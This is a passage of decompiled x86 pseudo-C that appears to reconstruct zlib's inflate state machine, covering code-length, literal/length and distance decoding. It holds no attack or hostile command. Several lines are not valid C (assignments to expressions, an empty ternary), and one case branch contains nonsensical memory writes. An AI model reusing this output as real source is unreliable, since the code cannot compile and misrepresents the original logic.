												 *((short*)(__edi + 0x70 + ( *(0x1f2108 +  *(__edi + 0x68) * 2) & 0x0000ffff) * 2)) = __cx;
												 *(__edi + 0x68) =  *(__edi + 0x68) + 1;
												__eax =  *(__edi + 0x68);
												__eflags =  *(__edi + 0x68) -  *(__edi + 0x5c);
											} while ( *(__edi + 0x68) <  *(__edi + 0x5c));
											goto L192;
										}
										goto L357;
									case 0x12:
										L198:
										__eax =  *(__edi + 0x64);
										__eax =  *(__edi + 0x64) +  *(__edi + 0x60);
										__eflags =  *(__edi + 0x68) - __eax;
										if( *(__edi + 0x68) >= __eax) {
											L232:
											__eflags =  *__edi - 0x1d;
											if( *__edi == 0x1d) {
												L173:
												__edx =  *(__esp + 0x10);
												goto L174;
											} else {
												__eflags =  *((short*)(__edi + 0x270));
												if( *((short*)(__edi + 0x270)) != 0) {
													__eax = __edi + 0x530;
													 *(__edi + 0x54) = 9;
													__ecx = __edi + 0x6c;
													 *(__edi + 0x4c) = __eax;
													 *__ecx = __eax;
													__edx = __edi + 0x54;
													__eax = __edi + 0x2f0;
													_push(__edi + 0x2f0);
													_push(__edi + 0x54);
													_push(__ecx);
													_push( *(__edi + 0x60));
													__eax = __edi + 0x70;
													_push(__edi + 0x70);
													_push(1);
													__eax = E001D6E80();
													__esp = __esp + 0x18;
													 *(__esp + 0x2c) = __eax;
													__eflags = __eax;
													if(__eax == 0) {
														__eax =  *(__edi + 0x6c);
														__ecx = __edi + 0x6c;
														 *(__edi + 0x50) =  *(__edi + 0x6c);
														__edx = __edi + 0x58;
														__eax = __edi + 0x2f0;
														 *__edx = 6;
														_push(__edi + 0x2f0);
														__eax =  *(__edi + 0x60);
														_push(__edx);
														_push(__edi + 0x6c);
														_push( *(__edi + 0x64));
														__eax =  *(__edi + 0x60) + 0x38;
														__eax = __edi + ( *(__edi + 0x60) + 0x38) * 2;
														_push(__edi + ( *(__edi + 0x60) + 0x38) * 2);
														_push(2);
														__eax = E001D6E80();
														__esp = __esp + 0x18;
														 *(__esp + 0x2c) = __eax;
														__eflags = __eax;
														if(__eax == 0) {
															__edx =  *(__esp + 0x4c);
															 *__edi = 0x13;
															__eflags =  *(__esp + 0x4c) - 6;
															if( *(__esp + 0x4c) == 6) {
																__edi =  *(__esp + 0x10);
																goto L103;
															} else {
																__edx =  *(__esp + 0x10);
																__ecx =  *(__esp + 0x48);
																goto L242;
															}
														} else {
															__ecx =  *(__esp + 0x48);
															__edx =  *(__esp + 0x10);
															 *(__ecx + 0x18) = "invalid distances set";
															 *__edi = 0x1d;
															goto L175;
														}
													} else {
														__ecx =  *(__esp + 0x48);
														__edx =  *(__esp + 0x10);
														 *(__ecx + 0x18) = "invalid literal/lengths set";
														 *__edi = 0x1d;
														goto L175;
													}
												} else {
													__ecx =  *(__esp + 0x48);
													__edx =  *(__esp + 0x10);
													 *(__ecx + 0x18) = "invalid code -- missing end-of-block";
													 *__edi = 0x1d;
													goto L175;
												}
											}
										} else {
											__edi =  *(__esp + 0x10);
											do {
												__eax =  *(__esp + 0x3c);
												__edx = 1;
												__ecx =  *( *(__esp + 0x3c));
												__eax =  *(__esp + 0x24);
												1 << __cl = (1 << __cl) - 1;
												__edx = (0x00000001 << __cl) - 0x00000001 & __edi;
												__eax =  *( *(__esp + 0x24) + 0x4c);
												__eax =  *( *( *(__esp + 0x24) + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __edi) * 4);
												__eax = __eax >> 8;
												__ecx = __cl & 0x000000ff;
												 *(__esp + 0x34) = __eax;
												__eflags = (__cl & 0x000000ff) - __esi;
												if((__cl & 0x000000ff) <= __esi) {
													L204:
													__eax = __eax >> 0x10;
													__eflags = __dx - 0x10;
													if(__eflags >= 0) {
														if(__eflags != 0) {
															__eflags =  *(__esp + 0x36) - 0x11;
															__edx =  *(__esp + 0x10);
															__ecx = __ah & 0x000000ff;
															if( *(__esp + 0x36) != 0x11) {
																__edi = __ecx + 7;
																 *(__esp + 0x34) = __ecx;
																__eflags = __esi - __edi;
																if(__esi >= __edi) {
																	L224:
																	__edx = __edx >> __cl;
																	__edx = __edx & 0x0000007f;
																	__eax = (__edx & 0x0000007f) + 0xb;
																	__edx = __edx >> 7;
																	__eflags = __edx;
																	 *(__esp + 0x30) = __eax;
																	__eax = 0xfffffff9;
																	goto L225;
																} else {
																	while(1) {
																		__eflags = __ebp;
																		if(__ebp == 0) {
																			goto L101;
																		}
																		__eax =  *__ebx & 0x000000ff;
																		__ecx = __esi;
																		__eax = ( *__ebx & 0x000000ff) << __cl;
																		__ebx = __ebx + 1;
																		__edx = __edx + __eax;
																		 *(__esp + 0x14) = __ebx;
																		__esi = __esi + 8;
																		 *(__esp + 0x10) = __edx;
																		__ebp = __ebp - 1;
																		__eflags = __esi - __edi;
																		if(__esi < __edi) {
																			continue;
																		} else {
																			__ecx =  *(__esp + 0x34);
																			goto L224;
																		}
																		goto L357;
																	}
																	goto L101;
																}
															} else {
																__edi = __ecx + 3;
																 *(__esp + 0x34) = __ecx;
																__eflags = __esi - __edi;
																if(__esi >= __edi) {
																	L218:
																	__edx = __edx >> __cl;
																	__edx = __edx & 0x00000007;
																	__eax = (__edx & 0x00000007) + 3;
																	__edx = __edx >> 3;
																	 *(__esp + 0x30) = __eax;
																	__eax = 0xfffffffd;
																	L225:
																	__edi =  *(__esp + 0x24);
																	__esi = __esi + __eax;
																	__eflags = __esi;
																	 *(__esp + 0x34) = 0;
																	__eax =  *(__esp + 0x30);
																	goto L226;
																} else {
																	while(1) {
																		__eflags = __ebp;
																		if(__ebp == 0) {
																			goto L101;
																		}
																		__eax =  *__ebx & 0x000000ff;
																		__ecx = __esi;
																		__eax = ( *__ebx & 0x000000ff) << __cl;
																		__ebx = __ebx + 1;
																		__edx = __edx + __eax;
																		 *(__esp + 0x14) = __ebx;
																		__esi = __esi + 8;
																		 *(__esp + 0x10) = __edx;
																		__ebp = __ebp - 1;
																		__eflags = __esi - __edi;
																		if(__esi < __edi) {
																			continue;
																		} else {
																			__ecx =  *(__esp + 0x34);
																			goto L218;
																		}
																		goto L357;
																	}
																	goto L101;
																}
															}
														} else {
															__eax = __eax >> 8;
															__ecx = __cl & 0x000000ff;
															__ecx = (__cl & 0x000000ff) + 2;
															 *(__esp + 0x34) = __ecx;
															__eflags = __esi - __ecx;
															if(__esi >= __ecx) {
																L210:
																__edi =  *(__esp + 0x24);
																__edx =  *(__esp + 0x10);
																__ecx = __ah & 0x000000ff;
																__edx =  *(__esp + 0x10) >> __cl;
																__esi = __esi - (__ah & 0x000000ff);
																__eax =  *(__edi + 0x68);
																 *(__esp + 0x10) = __edx;
																__eflags = __eax;
																if(__eax == 0) {
																	L235:
																	__ecx =  *(__esp + 0x48);
																	 *(__ecx + 0x18) = "invalid bit length repeat";
																	 *__edi = 0x1d;
																	goto L175;
																} else {
																	 *(__esp + 0x34) = __eax;
																	__eax = __edx;
																	__eax = __edx & 0x00000003;
																	__edx = __edx >> 2;
																	__eax = __eax + 3;
																	__esi = __esi - 2;
																	 *(__esp + 0x30) = __eax;
																	L226:
																	__ecx =  *(__edi + 0x68);
																	__ecx =  *(__edi + 0x68) + __eax;
																	 *(__esp + 0x10) = __edx;
																	__eax =  *(__edi + 0x64);
																	__eax =  *(__edi + 0x64) +  *(__edi + 0x60);
																	__eflags = __ecx - __eax;
																	if(__ecx > __eax) {
																		goto L235;
																	} else {
																		__ecx =  *(__esp + 0x30);
																		__edx =  *(__esp + 0x34);
																		do {
																			__eax =  *(__edi + 0x68);
																			 *(__edi + 0x70 +  *(__edi + 0x68) * 2) = __dx;
																			 *(__edi + 0x68) =  *(__edi + 0x68) + 1;
																			__eax =  *(__edi + 0x68);
																			 *(__esp + 0x34) = __eax;
																			__ecx = __ecx - 1;
																			__eflags = __ecx;
																		} while (__ecx != 0);
																		__edi =  *(__esp + 0x10);
																		__edx = __eax;
																		__ecx =  *(__esp + 0x24);
																		goto L230;
																	}
																}
															} else {
																while(1) {
																	__eflags = __ebp;
																	if(__ebp == 0) {
																		goto L102;
																	}
																	__edx =  *__ebx & 0x000000ff;
																	__ecx = __esi;
																	__edx = ( *__ebx & 0x000000ff) << __cl;
																	__ebx = __ebx + 1;
																	__edi = __edi + __edx;
																	 *(__esp + 0x14) = __ebx;
																	__esi = __esi + 8;
																	 *(__esp + 0x10) = __edi;
																	__ebp = __ebp - 1;
																	__eflags = __esi -  *(__esp + 0x34);
																	if(__esi <  *(__esp + 0x34)) {
																		continue;
																	} else {
																		goto L210;
																	}
																	goto L357;
																}
																goto L102;
															}
														}
													} else {
														__eax = __eax >> 8;
														__ecx = __al & 0x000000ff;
														__edi = __edi >> __cl;
														__esi = __esi - (__al & 0x000000ff);
														__ecx =  *(__esp + 0x24);
														 *(__esp + 0x10) = __edi;
														__eax =  *(__ecx + 0x68);
														 *(__ecx + 0x70 +  *(__ecx + 0x68) * 2) = __dx;
														 *(__ecx + 0x68) =  *(__ecx + 0x68) + 1;
														__edx =  *(__ecx + 0x68);
														goto L230;
													}
												} else {
													while(1) {
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L102;
														}
														__eax =  *__ebx & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebx & 0x000000ff) << __cl;
														__edx = 1;
														__edi = __edi + (( *__ebx & 0x000000ff) << __cl);
														__ebx = __ebx + 1;
														__eax =  *(__esp + 0x3c);
														__esi = __esi + 8;
														__ebp = __ebp - 1;
														 *(__esp + 0x10) = __edi;
														 *(__esp + 0x14) = __ebx;
														__ecx =  *( *(__esp + 0x3c));
														__eax =  *(__esp + 0x24);
														1 << __cl = (1 << __cl) - 1;
														__edx = (0x00000001 << __cl) - 0x00000001 & __edi;
														__eax =  *( *(__esp + 0x24) + 0x4c);
														__eax =  *( *( *(__esp + 0x24) + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __edi) * 4);
														__eax = __eax >> 8;
														__ecx = __cl & 0x000000ff;
														 *(__esp + 0x34) = __eax;
														__eflags = (__cl & 0x000000ff) - __esi;
														if((__cl & 0x000000ff) > __esi) {
															continue;
														} else {
															goto L204;
														}
														goto L357;
													}
													goto L102;
												}
												goto L357;
												L230:
												__eax =  *(__ecx + 0x64);
												__eax =  *(__ecx + 0x64) +  *((intOrPtr*)(__ecx + 0x60));
												__eflags = __edx - __eax;
											} while (__edx < __eax);
											__edi =  *(__esp + 0x24);
											goto L232;
										}
										goto L357;
									case 0x13:
										L242:
										 *__edi = 0x14;
										goto L243;
									case 0x14:
										L243:
										__eflags = __ebp - 6;
										if(__ebp < 6) {
											L247:
											__eax =  *(__edi + 0x4c);
											__ecx =  *(__edi + 0x54);
											 *(__esp + 0x30) =  *(__edi + 0x4c);
											1 = 1 << __cl;
											__ecx =  *(__edi + 0x4c);
											__eax = (1 << __cl) - 1;
											__eax = (0x00000001 << __cl) - 0x00000001 & __edx;
											 *(__edi + 0x1bc4) = 0;
											__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __edx) * 4);
											1 = 1 >> 8;
											__ecx = __cl & 0x000000ff;
											__eflags = (__cl & 0x000000ff) - __esi;
											if((__cl & 0x000000ff) <= __esi) {
												L250:
												__eflags = __al;
												if(__al == 0) {
													L257:
													__eax = __eax >> 8;
													__ecx = __cl & 0x000000ff;
													 *(__edi + 0x1bc4) =  *(__edi + 0x1bc4) + __ecx;
													__esi = __esi - __ecx;
													__edx = __edx >> __cl;
													__ecx = __eax;
													__ecx = __eax >> 0x10;
													 *(__esp + 0x10) = __edx;
													 *(__edi + 0x40) = __ecx;
													__eflags = __al;
													if(__al != 0) {
														__eflags = __al & 0x00000020;
														if((__al & 0x00000020) == 0) {
															__eflags = __al & 0x00000040;
															if((__al & 0x00000040) == 0) {
																__eax = __al & 0x000000ff;
																__eax = __al & 0xf;
																__eflags = __eax;
																 *__edi = 0x15;
																 *(__edi + 0x48) = __eax;
																goto L264;
															} else {
																__ecx =  *(__esp + 0x48);
																 *(__ecx + 0x18) = "invalid literal/length code";
																 *__edi = 0x1d;
																goto L175;
															}
														} else {
															 *(__edi + 0x1bc4) = 0xffffffff;
															 *__edi = 0xb;
															goto L174;
														}
													} else {
														 *__edi = 0x19;
														goto L174;
													}
												} else {
													__eflags = __al & 0x000000f0;
													if((__al & 0x000000f0) != 0) {
														goto L257;
													} else {
														__ecx = __eax;
														__ebx = 1;
														__ecx = __eax >> 8;
														__edx = __eax;
														__edi = __cl & 0x000000ff;
														 *(__esp + 0x40) = __eax >> 8;
														__al & 0x000000ff = (__al & 0x000000ff) + __edi;
														__eax = __eax >> 0x10;
														__ebx = 1 << __cl;
														__ecx = __edi;
														__ebx = (1 << __cl) - 1;
														 *(__esp + 0x34) = __edx;
														(0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10) = ((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl;
														__ecx =  *(__esp + 0x30);
														__ebx = (((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + __eax;
														__eax =  *( *(__esp + 0x30) + ((((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + __eax) * 4);
														__eax = __eax >> 8;
														__edi = __cl & 0x000000ff;
														 *(__esp + 0x40) = __cl & 0x000000ff;
														__edi = (__cl & 0x000000ff) + (__cl & 0x000000ff);
														__eflags = (__cl & 0x000000ff) + (__cl & 0x000000ff) - __esi;
														if((__cl & 0x000000ff) + (__cl & 0x000000ff) <= __esi) {
															L256:
															__edi =  *(__esp + 0x24);
															__ebx =  *(__esp + 0x14);
															__ecx = __dh & 0x000000ff;
															__edx =  *(__esp + 0x10);
															__edx =  *(__esp + 0x10) >> __cl;
															__esi = __esi - __ecx;
															__eflags = __esi;
															 *(__edi + 0x1bc4) = __ecx;
															goto L257;
														} else {
															while(1) {
																__eflags = __ebp;
																if(__ebp == 0) {
																	goto L101;
																}
																__ebx =  *(__esp + 0x14);
																__ecx = __esi;
																__edi = 1;
																__esi = __esi + 8;
																__ebp = __ebp - 1;
																__eax =  *__ebx & 0x000000ff;
																__ebx = __ebx + 1;
																 *(__esp + 0x10) =  *(__esp + 0x10) + __eax;
																__eax =  *(__esp + 0x36) & 0x0000ffff;
																 *(__esp + 0x14) = __ebx;
																__ebx = __dh & 0x000000ff;
																__dl & 0x000000ff = (__dl & 0x000000ff) + __ebx;
																__edi = 1 << __cl;
																__ecx = __ebx;
																(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10);
																__edi = ((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl;
																__edi = (((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + ( *(__esp + 0x36) & 0x0000ffff);
																__eax =  *(__esp + 0x24);
																__eax =  *( *(__esp + 0x24) + 0x4c);
																__eax =  *( *( *(__esp + 0x24) + 0x4c) + ((((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + ( *(__esp + 0x36) & 0x0000ffff)) * 4);
																__eax = __eax >> 8;
																__cl & 0x000000ff = (__cl & 0x000000ff) + __ebx;
																__eflags = (__cl & 0x000000ff) + __ebx - __esi;
																if((__cl & 0x000000ff) + __ebx > __esi) {
																	continue;
																} else {
																	goto L256;
																}
																goto L357;
															}
															goto L101;
														}
													}
												}
											} else {
												while(1) {
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L101;
													}
													__eax =  *__ebx & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebx & 0x000000ff) << __cl;
													__ebx = __ebx + 1;
													__ecx =  *(__edi + 0x54);
													__edx = __edx + __eax;
													__eax =  *(__edi + 0x4c);
													__esi = __esi + 8;
													 *(__esp + 0x10) = __edx;
													__ebp = __ebp - 1;
													__edx = 1;
													 *(__esp + 0x14) = __ebx;
													1 << __cl = (1 << __cl) - 1;
													__edx = (0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10);
													__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) * 4);
													__ecx = __eax;
													__edx =  *(__esp + 0x10);
													__eax >> 8 = __cl & 0x000000ff;
													__eflags = (__cl & 0x000000ff) - __esi;
													if((__cl & 0x000000ff) > __esi) {
														continue;
													} else {
														goto L250;
													}
													goto L357;
												}
												goto L101;
											}
										} else {
											__eflags =  *(__esp + 0x1c) - 0x102;
											if( *(__esp + 0x1c) < 0x102) {
												goto L247;
											} else {
												__eax =  *(__esp + 0x20);
												_push( *(__esp + 0x28));
												 *(__ecx + 0xc) = __eax;
												__eax =  *(__esp + 0x20);
												 *(__ecx + 0x10) =  *(__esp + 0x20);
												 *__ecx = __ebx;
												 *(__ecx + 4) = __ebp;
												_push(__ecx);
												 *(__edi + 0x38) = __edx;
												 *(__edi + 0x3c) = __esi;
												__eax = E001D7330();
												__ecx =  *(__esp + 0x50);
												__esp = __esp + 8;
												__eflags =  *__edi - 0xb;
												__edx =  *(__edi + 0x38);
												__esi =  *(__edi + 0x3c);
												__eax =  *(__ecx + 0xc);
												__ebx =  *__ecx;
												__ebp =  *(__ecx + 4);
												 *(__esp + 0x20) =  *(__ecx + 0xc);
												__eax =  *(__ecx + 0x10);
												 *(__esp + 0x1c) = __eax;
												 *(__esp + 0x14) = __ebx;
												 *(__esp + 0x10) = __edx;
												if( *__edi == 0xb) {
													 *(__edi + 0x1bc4) = 0xffffffff;
												}
												goto L175;
											}
										}
										goto L357;
									case 0x15:
										L264:
										__ecx =  *(__edi + 0x48);
										__eflags = __ecx;
										if(__ecx == 0) {
											L270:
											__eax =  *(__edi + 0x40);
											 *(__edi + 0x1bc8) =  *(__edi + 0x40);
											 *__edi = 0x16;
											goto L271;
										} else {
											__eflags = __esi - __ecx;
											if(__esi >= __ecx) {
												L269:
												__eax = 1;
												__esi = __esi - __ecx;
												1 << __cl = (1 << __cl) - 1;
												__eax = (0x00000001 << __cl) - 0x00000001 & __edx;
												__edx = __edx >> __cl;
												 *(__edi + 0x40) =  *(__edi + 0x40) + __eax;
												_t536 = __edi + 0x1bc4;
												 *_t536 =  *(__edi + 0x1bc4) + __ecx;
												__eflags =  *_t536;
												 *(__esp + 0x10) = __edx;
												goto L270;
											} else {
												asm("o16 nop [eax+eax]");
												while(1) {
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L101;
													}
													__eax =  *__ebx & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebx & 0x000000ff) << __cl;
													__ebx = __ebx + 1;
													__ecx =  *(__edi + 0x48);
													__edx = __edx + __eax;
													__esi = __esi + 8;
													 *(__esp + 0x10) = __edx;
													__ebp = __ebp - 1;
													 *(__esp + 0x14) = __ebx;
													__eflags = __esi - __ecx;
													if(__esi < __ecx) {
														continue;
													} else {
														goto L269;
													}
													goto L357;
												}
												goto L101;
											}
										}
										goto L357;
									case 0x16:
										L271:
										__eax =  *(__edi + 0x50);
										__ecx =  *(__edi + 0x58);
										 *(__esp + 0x40) =  *(__edi + 0x50);
										1 = 1 << __cl;
										__ecx =  *(__edi + 0x50);
										__eax = (1 << __cl) - 1;
										__eax = (0x00000001 << __cl) - 0x00000001 & __edx;
										__eax =  *( *(__edi + 0x50) + ((0x00000001 << __cl) - 0x00000001 & __edx) * 4);
										1 = 1 >> 8;
										__ecx = __cl & 0x000000ff;
										__eflags = (__cl & 0x000000ff) - __esi;
										if((__cl & 0x000000ff) <= __esi) {
											L274:
											__eflags = __al & 0x000000f0;
											if((__al & 0x000000f0) != 0) {
												L279:
												__ebx =  *(__esp + 0x14);
												__eax = __eax >> 8;
												__ecx = __cl & 0x000000ff;
												 *(__edi + 0x1bc4) =  *(__edi + 0x1bc4) + __ecx;
												__esi = __esi - __ecx;
												__edx = __edx >> __cl;
												 *(__esp + 0x10) = __edx;
												__eflags = __al & 0x00000040;
												if((__al & 0x00000040) == 0) {
													__ecx = __eax;
													 *__edi = 0x17;
													__ecx = __eax >> 0x10;
													__eax = __al & 0x000000ff;
													__eax = __al & 0xf;
													__eflags = __eax;
													 *(__edi + 0x44) = __ecx;
													 *(__edi + 0x48) = __eax;
													goto L282;
												} else {
													__ecx =  *(__esp + 0x48);
													 *(__ecx + 0x18) = "invalid distance code";
													 *__edi = 0x1d;
													goto L175;
												}
											} else {
												__ecx = __eax;
												__ebx = 1;
												__ecx = __eax >> 8;
												__edx = __eax;
												__edi = __cl & 0x000000ff;
												 *(__esp + 0x30) = __eax >> 8;
												__al & 0x000000ff = (__al & 0x000000ff) + __edi;
												__eax = __eax >> 0x10;
												__ebx = 1 << __cl;
												__ecx = __edi;
												__ebx = (1 << __cl) - 1;
												 *(__esp + 0x34) = __edx;
												(0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10) = ((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl;
												__ecx =  *(__esp + 0x40);
												__ebx = (((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + __eax;
												__eax =  *( *(__esp + 0x40) + ((((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + __eax) * 4);
												__eax = __eax >> 8;
												__edi = __cl & 0x000000ff;
												 *(__esp + 0x30) = __cl & 0x000000ff;
												__edi = (__cl & 0x000000ff) + (__cl & 0x000000ff);
												__eflags = (__cl & 0x000000ff) + (__cl & 0x000000ff) - __esi;
												if((__cl & 0x000000ff) + (__cl & 0x000000ff) <= __esi) {
													L278:
													__edi =  *(__esp + 0x24);
													__ecx = __dh & 0x000000ff;
													__edx =  *(__esp + 0x10);
													__esi = __esi - __ecx;
													__edx =  *(__esp + 0x10) >> __cl;
													_t576 = __edi + 0x1bc4;
													 *_t576 =  *(__edi + 0x1bc4) + __ecx;
													__eflags =  *_t576;
													goto L279;
												} else {
													while(1) {
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L101;
														}
														__ebx =  *(__esp + 0x14);
														__ecx = __esi;
														__edi = 1;
														__esi = __esi + 8;
														__ebp = __ebp - 1;
														__eax =  *__ebx & 0x000000ff;
														__ebx = __ebx + 1;
														 *(__esp + 0x10) =  *(__esp + 0x10) + __eax;
														__eax =  *(__esp + 0x36) & 0x0000ffff;
														 *(__esp + 0x14) = __ebx;
														__ebx = __dh & 0x000000ff;
														__dl & 0x000000ff = (__dl & 0x000000ff) + __ebx;
														__edi = 1 << __cl;
														__ecx = __ebx;
														(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10);
														__edi = ((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl;
														__edi = (((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + ( *(__esp + 0x36) & 0x0000ffff);
														__eax =  *(__esp + 0x24);
														__eax =  *( *(__esp + 0x24) + 0x50);
														__eax =  *( *( *(__esp + 0x24) + 0x50) + ((((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + ( *(__esp + 0x36) & 0x0000ffff)) * 4);
														__eax = __eax >> 8;
														__cl & 0x000000ff = (__cl & 0x000000ff) + __ebx;
														__eflags = (__cl & 0x000000ff) + __ebx - __esi;
														if((__cl & 0x000000ff) + __ebx > __esi) {
															continue;
														} else {
															goto L278;
														}
														goto L357;
													}
													goto L101;
												}
											}
										} else {
											while(1) {
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L101;
												}
												__eax =  *__ebx & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebx & 0x000000ff) << __cl;
												__ebx = __ebx + 1;
												__ecx =  *(__edi + 0x58);
												__edx = __edx + __eax;
												__eax =  *(__edi + 0x50);
												__esi = __esi + 8;
												 *(__esp + 0x10) = __edx;
												__ebp = __ebp - 1;
												__edx = 1;
												 *(__esp + 0x14) = __ebx;
												1 << __cl = (1 << __cl) - 1;
												__edx = (0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10);
												__eax =  *( *(__edi + 0x50) + ((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) * 4);
												__ecx = __eax;
												__edx =  *(__esp + 0x10);
												__eax >> 8 = __cl & 0x000000ff;
												__eflags = (__cl & 0x000000ff) - __esi;
												if((__cl & 0x000000ff) > __esi) {
													continue;
												} else {
													goto L274;
												}
												goto L357;
											}
											goto L101;
										}
										goto L357;
									case 0x17:
										L282:
										__ecx =  *(__edi + 0x48);
										__eflags = __ecx;
										if(__ecx == 0) {
											L288:
											 *__edi = 0x18;
											goto L289;
										} else {
											__eflags = __esi - __ecx;
											if(__esi >= __ecx) {
												L287:
												__eax = 1;
												__esi = __esi - __ecx;
												1 << __cl = (1 << __cl) - 1;
												__eax = (0x00000001 << __cl) - 0x00000001 & __edx;
												__edx = __edx >> __cl;
												 *(__edi + 0x44) =  *(__edi + 0x44) + __eax;
												_t594 = __edi + 0x1bc4;
												 *_t594 =  *(__edi + 0x1bc4) + __ecx;
												__eflags =  *_t594;
												 *(__esp + 0x10) = __edx;
												goto L288;
											} else {
												asm("o16 nop [eax+eax]");
												while(1) {
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L101;
													}
													__eax =  *__ebx & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebx & 0x000000ff) << __cl;
													__ebx = __ebx + 1;
													__ecx =  *(__edi + 0x48);
													__edx = __edx + __eax;
													__esi = __esi + 8;
													 *(__esp + 0x10) = __edx;
													__ebp = __ebp - 1;
													 *(__esp + 0x14) = __ebx;
													__eflags = __esi - __ecx;
													if(__esi < __ecx) {
														continue;
													} else {
														goto L287;
													}
													goto L357;
												}
												goto L101;
											}
										}
										goto L357;
									case 0x18:
										L289:
										__ecx =  *(__esp + 0x1c);
										__eflags = __ecx;
										if(__ecx == 0) {
											goto L101;
										} else {
											__eax =  *(__esp + 0x28);
											__eax =  *(__esp + 0x28) - __ecx;
											__ecx =  *(__edi + 0x44);
											__eflags = __ecx - __eax;
											if(__ecx <= __eax) {
												__eax =  *(__esp + 0x20);
												__eax =  *(__esp + 0x20) - __ecx;
												__eflags = __eax;
												 *(__esp + 0x34) = __eax;
												__eax =  *(__edi + 0x40);
												goto L300;
											} else {
												__ecx = __ecx - __eax;
												__eflags = __ecx -  *((intOrPtr*)(__edi + 0x2c));
												if(__ecx <=  *((intOrPtr*)(__edi + 0x2c))) {
													L294:
													__eax =  *(__edi + 0x30);
													__eflags = __ecx - __eax;
													if(__ecx <= __eax) {
														 *((intOrPtr*)(__edi + 0x34)) =  *((intOrPtr*)(__edi + 0x34)) - __ecx;
														__eax =  *((intOrPtr*)(__edi + 0x34)) - __ecx +  *(__edi + 0x30);
														__eflags = __eax;
													} else {
														__ecx = __ecx - __eax;
														 *((intOrPtr*)(__edi + 0x34)) =  *((intOrPtr*)(__edi + 0x34)) +  *((intOrPtr*)(__edi + 0x28));
														__eax =  *((intOrPtr*)(__edi + 0x34)) +  *((intOrPtr*)(__edi + 0x28)) - __ecx;
													}
													 *(__esp + 0x34) = __eax;
													__eax =  *(__edi + 0x40);
													__eflags = __ecx - __eax;
													if(__ecx > __eax) {
														L300:
														__ecx = __eax;
													}
													__ebx =  *(__esp + 0x1c);
													__eflags = __ecx - __ebx;
													__ecx =  >  ? __ebx : __ecx;
													__ebx = __ebx - __ecx;
													__eax = __eax - __ecx;
													 *(__esp + 0x1c) = __ebx;
													__ebx =  *(__esp + 0x34);
													 *(__edi + 0x40) = __eax;
													__edi =  *(__esp + 0x20);
													__ebx =  *(__esp + 0x34) - __edi;
													asm("o16 nop [eax+eax]");
													do {
														__al =  *((intOrPtr*)(__ebx + __edi));
														 *__edi = __al;
														__edi = __edi + 1;
														__ecx = __ecx - 1;
														__eflags = __ecx;
													} while (__ecx != 0);
													__ebx =  *(__esp + 0x14);
													 *(__esp + 0x20) = __edi;
													__edi =  *(__esp + 0x24);
													__eflags =  *(__edi + 0x40) - __ecx;
													if( *(__edi + 0x40) == __ecx) {
														 *__edi = 0x14;
													}
													L174:
													_t765 =  *(_t807 + 0x48);
												} else {
													__eflags =  *(__edi + 0x1bc0);
													if( *(__edi + 0x1bc0) == 0) {
														goto L294;
													} else {
														__ecx =  *(__esp + 0x48);
														 *(__ecx + 0x18) = "invalid distance too far back";
														 *__edi = 0x1d;
													}
												}
											}
											goto L175;
										}
										goto L357;
									case 0x19:
										__eflags =  *(__esp + 0x1c);
										if( *(__esp + 0x1c) == 0) {
											goto L101;
										} else {
											__ebx =  *(__esp + 0x20);
											__al =  *(__edi + 0x40);
											 *(__esp + 0x20) =  *(__esp + 0x20) + 1;
											 *(__esp + 0x1c) =  *(__esp + 0x1c) - 1;
											 *( *(__esp + 0x20)) = __al;
											__ebx =  *(__esp + 0x14);
											 *__edi = 0x14;
											goto L175;
										}
										goto L357;
									case 0x1a:
										__eflags =  *(__edi + 8);
										if ( *(__edi + 8) == 0) goto L323;
										__eflags = __al & __cl;
										 *__eax =  *__eax + __al;
										_t635 = __ebx + 0x277320fe;
										 *_t635 =  *(__ebx + 0x277320fe) + __al;
										__eflags =  *_t635;
									case 0x1b:
										__eflags =  *(__edi + 8);
										if( *(__edi + 8) == 0) {
											L334:
											 *__edi = 0x1c;
											goto L335;
										} else {
											__eflags =  *(__edi + 0x10);
											if( *(__edi + 0x10) == 0) {
												goto L334;
											} else {
												__eflags = __esi - 0x20;
												if(__esi >= 0x20) {
													L330:
													__eflags = __edx -  *((intOrPtr*)(__edi + 0x1c));
													if(__edx ==  *((intOrPtr*)(__edi + 0x1c))) {
														__ecx = 0;
														__esi = 0;
														__eflags = 0;
														 *(__esp + 0x10) = 0;
														goto L334;
													} else {
														__ecx =  *(__esp + 0x48);
														 *(__ecx + 0x18) = "incorrect length check";
														 *__edi = 0x1d;
														goto L175;
													}
												} else {
													while(1) {
